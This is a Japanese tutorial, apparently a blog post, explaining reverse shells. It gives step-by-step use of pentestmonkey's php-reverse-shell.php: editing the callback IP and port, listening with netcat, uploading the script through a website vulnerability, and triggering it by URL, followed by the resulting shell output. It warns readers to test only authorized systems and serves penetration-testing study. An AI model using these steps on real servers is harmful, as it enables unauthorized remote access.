今回はリバースシェルというものを使ってみたいと思います。
※注意点:
試験を行う際は必ず自身の管理下のサーバもしくは対象サーバの保有者の許可を得て行うようにしてください。
自身の管理下にないサーバに対して無許可で攻撃を実施した場合、不正アクセスと見なされ法律に基づき処罰される場合があります。
リバースシェルとは何?
通常、すべての動作はこちら側(クライアント)からサーバーにアクションを起こすものです。
しかし、サーバー側から定期的に何かしらのアクションを起こしてほしいということもあります。
その際にはリバースシェルというものを使います。
使い方はクライアントはサーバーからの接続をListenします。
サーバーはクライアントに対してアクションを起こすように仕向けます。
サーバーからの呼びかけを待つことでサーバーのシェルを動かすことができます。
これ自体は何ら悪意があるものではありませんが、この仕組みを使ったハッキングが可能になります。
なぜ、こちらから攻撃を仕掛けてセキュリティーを突破するのではなく、
わざわざ向こうからアクションを求めるようなリバースシェルを使うのでしょうか。
それは「自分から起こすアクションには制限が掛けられてないことが多い」からです。
ハッカーが標的にバックドアを仕込む際には普通に考えれば、
まず攻撃対象のシステムに対して何らかの穴を見つけて標的に侵入しようとするでしょう。
でも、現実的にファイアウォールがあれば脆弱性がありそうだと感じても突破するのは難しいです。
インターネットに公開されているサーバーの多くは通常、外から内へのアクセスを厳しく制限するからです。
しかし、アプリケーションを使う際に殆どの情報は自分のPC側ではなく、
そのアプリが運用されているサーバー側で処理されて情報のみがクライアント側に送り返されているように、
サーバー側からクライアントに働きかけるのはある意味当然のことですよね。
「だったら、逆にサーバーから外部にアクセスするように仕向けたらいいじゃないか」
これがリバースシェルを使ったハッキングです。
ただ、残念!
最近はリバースシェルに対しても制限が掛けられることが一般的です。
php-reverse-shell.phpの使い方
今回使うツールの開発元はPenntestmonkeyですが、
公式サイト(一応注意)を閲覧しようとしたところChromeから警告が出ていますね。
Kali Linuxに初期設定で導入されているツールですし問題ないかと思いますが、
ちょっとだけ躊躇するところがあると思います。
こちらに簡単な日本語訳で使い方をご紹介したいと思います。
ソースの変更
他の誰かがあなたのバックドアを悪用するのを防ぐために、
リバースシェルをどこに戻すかを示すソースコードを変更する必要があります。
php-reverse-shell.phpの次の行を編集します。
通常、Kali Linuxでは以下のフォルダに保存されていますのでsudoをつけて編集しましょう。
$ sudo nano /usr/share/webshells/php/php-reverse-shell.php
$ ip = '127.0.0.1'; // これを変える
$ port = 1234; // これを変える
リバースシェルをキャッチする準備
WebサーバーからアクセスできるホストとポートでTCPリスナーを起動します。
ここでは、スクリプトで指定したものと同じポート(この例では1234)を使用します。
$ nc -v -n -l -p 1234
スクリプトをアップロードして実行する
Webサイトで発見した脆弱性を使用して、php-reverse-shell.phpをアップロードします。
Webブラウザで新しくアップロードされたファイルを参照するだけでスクリプトを実行します。
(注:Webページに出力は表示されません。成功するとハングします)。
http://somesite/php-reverse-shell.php
すべてがうまくいけば、Webサーバーはnetcatリスナーにシェルをスローバックするはずです。
w、uname -a、id、pwdなどの便利なコマンドが自動的に実行されます。
wコマンドはユーザー名を表示するコマンドです。
idコマンドはユーザーIDやユーザー名、グループID、グループ名などの識別情報を表示するコマンドです。
$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
16:59:28 up 39 days, 19:54, 2 users, load average: 0.18, 0.13, 0.10
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
root :0 19May07 ?xdm? 5:10m 0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$
ncコマンドはサーバーのプロセスを起動させるコマンドです。
ncコマンドの使い方およびオプションはこちらを参考にしてみてください。
というか、Athlon64 X2とかガチ世代過ぎて懐かしすぎるんですが。
参考にしたサイト
【VulnHub】Basic Pentesting: 1 – Walkthrough –
https://qiita.com/v_avenger/items/8afcf758990c9ab03ad7